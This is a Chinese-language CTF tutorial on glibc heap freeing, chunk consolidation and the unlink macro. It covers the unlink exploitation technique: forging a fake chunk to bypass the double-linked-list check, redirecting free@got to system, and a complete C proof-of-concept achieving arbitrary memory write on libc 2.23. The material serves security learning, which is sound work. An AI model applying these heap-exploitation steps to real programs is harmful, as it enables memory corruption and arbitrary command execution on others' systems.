释放堆

释放堆时会判断当前 chunk 的相邻 chunk 是否为空闲状态 (PREV_INUSE(P)位 是否为 0), 若是则会进行堆合并。合并时会执行 unlink 操作, 将空闲堆块从所属的 bins 链中卸下进行合并, 并将合并后的 chunk 添加到 unsorted bin 中

堆合并分为向前合并向后合并

注意

  • 当前 free 的 chunk 用 this_chunk 表示
  • 当前 chunk 的前一个chunk 用 pre_chunk 表示, 大小用 pre_size 表示
  • 当前 chunk 的后一个 chunk 用 next_chunk 表示, 大小用 next_size 表示

向后合并

代码

malloc.c 中向后合并的代码如下:

4276            /* consolidate backward */
4277 if (!prev_inuse(p)) {
4278 prevsize = prev_size (p);
4279 size += prevsize;
4280 p = chunk_at_offset(p, -((long) prevsize));
4281 unlink(av, p, bck, fwd);
4282 }

流程

  1. 检查指针 p 指向的 this_chunk 的 size 字段的 PREV_INUSE 位 是否为 0, 为 0 表示 pre_chunk 已经被 free, 则进入向后合并流程
  2. 获取 pre_chunk 的 size, 加到 size 中, 以此来表示 size 已经合并
  3. 根据 this_chunk 的 PREV_SIZE 位来获得 pre_chunk 的指针
  4. 将这个指针传入 unlink 宏, 即让 pre_chunk 进入 unlink 流程

向前合并

代码

malloc.c 中向前合并的代码如下:

4284        if (nextchunk != av->top) {
4285 /* get and clear inuse bit */
4286 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
4287
4288 /* consolidate forward */
4289 if (!nextinuse) {
4290 unlink(av, nextchunk, bck, fwd);
4291 size += nextsize;
4292 } else
4293 clear_inuse_bit_at_offset(nextchunk, 0);
......
4319 }
4320

流程

  1. 检查 next_chunk 的信息

    1. 如果 next_chunk 不是 top chunk 且 next_chunk 的 next_chunk 的 PREV_INUSE 为 0, 则进入向前合并流程

    2. 如果 next_chunk 不是 free 的, 则修改他的 size 字段的 PRE_INUSE 位

    3. 如果 next_chunk 是 top chunk 则 this_chunk 与 top chunk 合并

      4321            /*
      4322 If the chunk borders the current high end of memory, 4323 consolidate into top
      4324 */
      4325
      4326 else {
      4327 size += nextsize;
      4328 set_head(p, size | PREV_INUSE);
      4329 av->top = p;
      4330 check_chunk(av, p);
      4331 }
    4. 检测 next_chunk 是否 INUSE, 是通过inuse_bit_at_offset(nextchunk, nextsize) 来获得next_chunk 的 next_chunk 的size字段的presize位实现的。

  2. 让 next_chunk 进入 unlink 流程

  3. size += next_size , 表示大小上两个 chunk 已经合并

代码

unlink是个宏, 但是在读代码的时候请把bk和fd当作变量。

  • p 是指向当前执行 unlink 操作的 chunk 的指针
  • 以下为 glibc-2.19 中 unlink 宏的代码
#define unlink(AV, P, BK, FD) {
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
} }
}
}

流程

  1. 检查 P 的 size 字段 和 P 的 next_chunk 中记录的 PREV_SIZE 是否一致, 不一致则出现corrupted size vs. prev_size的错误

  2. 检查是否满足 P->fd->bk == P 和 P->bk->fd == P, 否则出现corrupted double-linked list错误

    为了绕过这个检查, 需要以下条件

    • 程序中存在一个全局指针变量 ptr
    • ptr 指向的对内存可由用户控制

    若具备以上条件, 攻击者可在指针 ptr 指向的内存中伪造一个空闲 chunk P, 根据 ptr 构造合适的地址覆盖 chunk P 的 fd 和 bk, 使得 P->fd->bk == P && P->bk->fd == P 成立。具体如下(64 位):

    P->fd = ptr - 0x10
    P->bk = ptr - 0x18
    • 实际上就是当 P->fd 或 P->bk 所存地址解释为 chunk 结构时其对应的 fd 或 bk 都为 P 的地址

    在执行 unlink(P)时的指针操作如下:

    1)FD = P->fd = ptr - 0x10;
    2)BK = P->bk = ptr - 0x18;
    // FD->bk = ptr - 0x10 + 0x10 = ptr; BK->fd = ptr -0x18 + 0x18 = ptr
    // 由于 ptr 指向 P, 可成功绕过指针校验
    3)FD->bk = BK, 即 *ptr = ptr - 0x10;
    4)BK->fd = FD, 即 *ptr = ptr - 0x18

    由以上过程可知, 借助指向 chunk P 的 ptr 指针可绕过 “corrupted double-linked list” 安全机制, 并通过 unlink 攻击实现写内存, 最终使得 ptr 指向 ptr - 0x18。

    unlink 后, 对 ptr 指向的内存进行写入, 如 ‘A’*0x18 + free@got, 使得 ptr 指向 free@got, 再次对 ptr 指向的内存进行写入, 可以把 free@got 修改为 system 的地址, 之后调用 free 可任意命令执行。

  3. 解链:FD->bk = bk 和 BK->fd = fd

    以下是CTF-Wiki的图

    image-20200724111055883
    • 如果此时 P 的 Fd 和 BK 被我们修改为 FD 的地址
  4. 接着对large chunk的一系列检测和处理机制

  • 以上就是unlink的操作, 本质上就是从glibc管理的bin链中解链以及解链前的安全检查(防止被利用)

整理 chunk 结构并放入 unsorted bin 中

除了 next_chunk 为 top chunk 外, 都会执行下列代码, 将合并好的chunk加入到unsorted bin中第一个

如果 this_chunk 是 samll chunk 大小的话, 没有fd_nextsize和bk_nextsize的

然后设置合并后的 chunk 的头部(设置合并后的 size, 已经合并的this_chunk 的 next_chunk 的 PREV_SIZE 字段)

4295              /*
4296 Place the chunk in unsorted chunk list. Chunks are
4297 not placed into regular bins until after they have
4298 been given one chance to be used in malloc.
4299 */
4300
4301 bck = unsorted_chunks(av);
4302 fwd = bck->fd;
4303 if (__glibc_unlikely (fwd->bk != bck))
4304 malloc_printerr ("free(): corrupted unsorted chunks");
4305 p->fd = fwd;
4306 p->bk = bck;
4307 if (!in_smallbin_range(size))
4308 {
4309 p->fd_nextsize = NULL;
4310 p->bk_nextsize = NULL;
4311 }
4312 bck->fd = p;
4313 fwd->bk = p;
4314
4315 set_head(p, size | PREV_INUSE);
4316 set_foot(p, size);
4317
4318 check_free_chunk(av, p);

Demo

libc version: 2.23

代码

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

typedef struct chunk_struct
{
size_t prev_size;
size_t size;
struct chunk_struct *fd;
struct chunk_struct *bk;
char buf[10]; // padding
} chunk_struct;

int main() {
size_t * chunk1, *chunk2;
chunk_struct *fake_chunk, *chunk2_hdr;
char data[20];


// Fist malloc two chunks (non fast bin)
chunk1 = malloc(0x80);
chunk2 = malloc(0x80);

// show addresses
printf("[*] chunk1 pointer address: %p\n", &chunk1);
printf("[*] chunk1 address: %p\n", chunk1);
printf("[*] chunk2 address: %p\n", chunk2);

// Assuming attacker has contorl over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chun starting at chunk1's
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (chunk_struct *) chunk1;
fake_chunk->fd = (chunk_struct *)(&chunk1 - 3);
fake_chunk->bk = (chunk_struct *)(&chunk1 - 2);

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (chunk_struct *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // unsetting prev_inuse bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointeing to chunk1 - 3
// i.e. chunk1[3] now ctains chunk1 itself
// We the make chunk1 point to some victim's data
printf("[*] free chunk2\n");
free(chunk2);
printf("[*] now chunk1 address: %p\n", chunk1);
printf("[*] now chunk1's fd: 0x%lx\n", chunk1[3]);

chunk1[3] = (size_t)data;

strcpy(data, "victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("[*] now data: %s\n", data);
return 0;
}

编译与运行

gcc unlink_demo.c -ggdb -z lazy -o unlink_demo -Wl, --rpath=./libc.so.6 \           -Wl, --dynamic-linker=./ld-2.23.so
  • -ggdb: 保留程序调试信息, 包括符号表、预定义宏等
  • -Wl, --rpath=./libc.so.6: 指定libc版本
  • -Wl, --dynamic-linker=./ld-2.23.so: 指定ld版本
  • Ubuntu18.04 64

运行结果:

image-20200724143930003

分析

  1. 开启 gdb 调试 , 用--silent去掉开头一堆免责信息

    gdb unlink_demo --silent
  2. 由于有源文件, 因此我们可以直接对行号进行下断, 15行为 int main() 所在位置

    pwndbg> b main
  3. 我们用ni指令(表示单步步过)运行到第26行, 即 malloc 两块chunk后, 查看heap信息

    image-20200724154547693
  4. 然后在chunk1中伪造一个 chunk , 使得 fake_chunk->fd->bk == fake_chunk 和 fake_chunk->bd->fd == fake_chunk 来避过 corrupted double-linked list 检测。

    因为要使得 fake_chunk->fd—>bk == fake_chunk 的话, 要让fake_chunk->fd 里面存的含有 chunk1 的地址的变量往上偏移 0x18, 同理 fake_chunk->bk 也是要往上偏移 0x10 的, 即

    • 当把 fake_chunk->fd 里面的地址解释为 chunk 的时候, 这个 chunk 的 bk 位置为 fake_chunk 的地址。
    • 当把 fake_chunk->bk 里面的地址解释为 chunk 的时候, 这个 chunk 的 fd 位置为 fake_chunk 的地址。
    • 而这里存放 fake_chunk 地址的实际上是同一个地址
    fake_chunk = (chunk_struct *) chunk1;
    fake_chunk->fd = (chunk_struct *)(&chunk1 - 3);
    fake_chunk->bk = (chunk_struct *)(&chunk1 - 2);
    • 这里的-3-2分别对应指针类型, 即- 3 * 8-2 * 8
    image-20200726221609548
  5. 然后修改好 chunk2 的 PREV_SIZE 字段为 0x80 就是 chunk1 的数据大小(用来避过corrupted size vs. prev_size检测的, 和 size 字段的 PREV_INUSE 位为0, 从而达到欺骗glibc的机制, 让它认为chunk2的前一块chunk(也就是chunk1)是free的, 并且满足unlink所有的安全机制。

    chunk2_hdr = (chunk_struct *)(chunk2 - 2);
    chunk2_hdr->prev_size = 0x80;
    chunk2_hdr->size &= ~1;
    image-20200724155503500
  6. 这时候 free 掉 chunk2 的话就会触发向后合并。

    free(chunk2)

    此时 unsorted bin 中

    image-20200724174030848

    本来应该只有 chunk2 (0x555555559090) 在 bins 中但此时在 bins 中却是 chunk1 + 0x10, 即 fake_chunk

    此时查看 fake_chunk 可以看到 fake_chunk 指向的 chunk1 已经被 free 掉了, size 为 chunk1_size + chunk2_size = 0x90 + 0x90 = 0x110, fd 和 bk 全部指向 0x7ffff7dd4b78 即 main_arena + 88 的地址, 由于 main_arena 和 libc 的偏移固定, 如果此时可以将内容打印, 那么就可以通过 leak main_arena 的地址来计算 libc 的基址

    image-20200724185440472
  7. 此时指向 chunk1 的指针内容为 chunk1 的地址, 而chunk1[3] 即 chunk1->fd 的位置的值为该指针的地址, 相当一个二级指针(unlink 的解链操作造成的)

    image-20200724195151867

    此时修改 chunk1[3] 的内容为 data 的地址, 即是修改指向 chunk1 的指针的值

    chunk[3] = data
    strcpy(data, "victim's data")

    可以看到此时指向 chunk1 的指针已经被修改为指向 data

    image-20200724195716409
  8. 此时修改 chunk1[0] 其实就是在修改 data 的值

    chunk1[0] = 0x002164656b636168LL;

    image-20200724200020970

    这便是使用 unlink 机制实现任意地址写操作

总结

我们可以利用 unlink 机制来实现:

  1. leak main_arena 的地址从而计算 libc 的地址
  2. 泄露 heap address 的地址
  3. 实现任意地址写操作

实现以上操作需要绕过 unlink 的安全检查机制, 即当我们 unlink this_chunk 时我们需要

  • 程序中存在一个全局指针变量 ptr

  • ptr 指向的对内存可由用户控制, 使其变为 this_chunk 的地址

  • 然后使得 this_chunk 的 fd 和 bk 变为 ptr - 0x10ptr - 0x18

例题

ZCTF-2016-note2

参考

Glibc堆块的向前向后合并与unlink原理机制探究

Linux 堆内存溢出 unlink 攻击

malloc.c 源码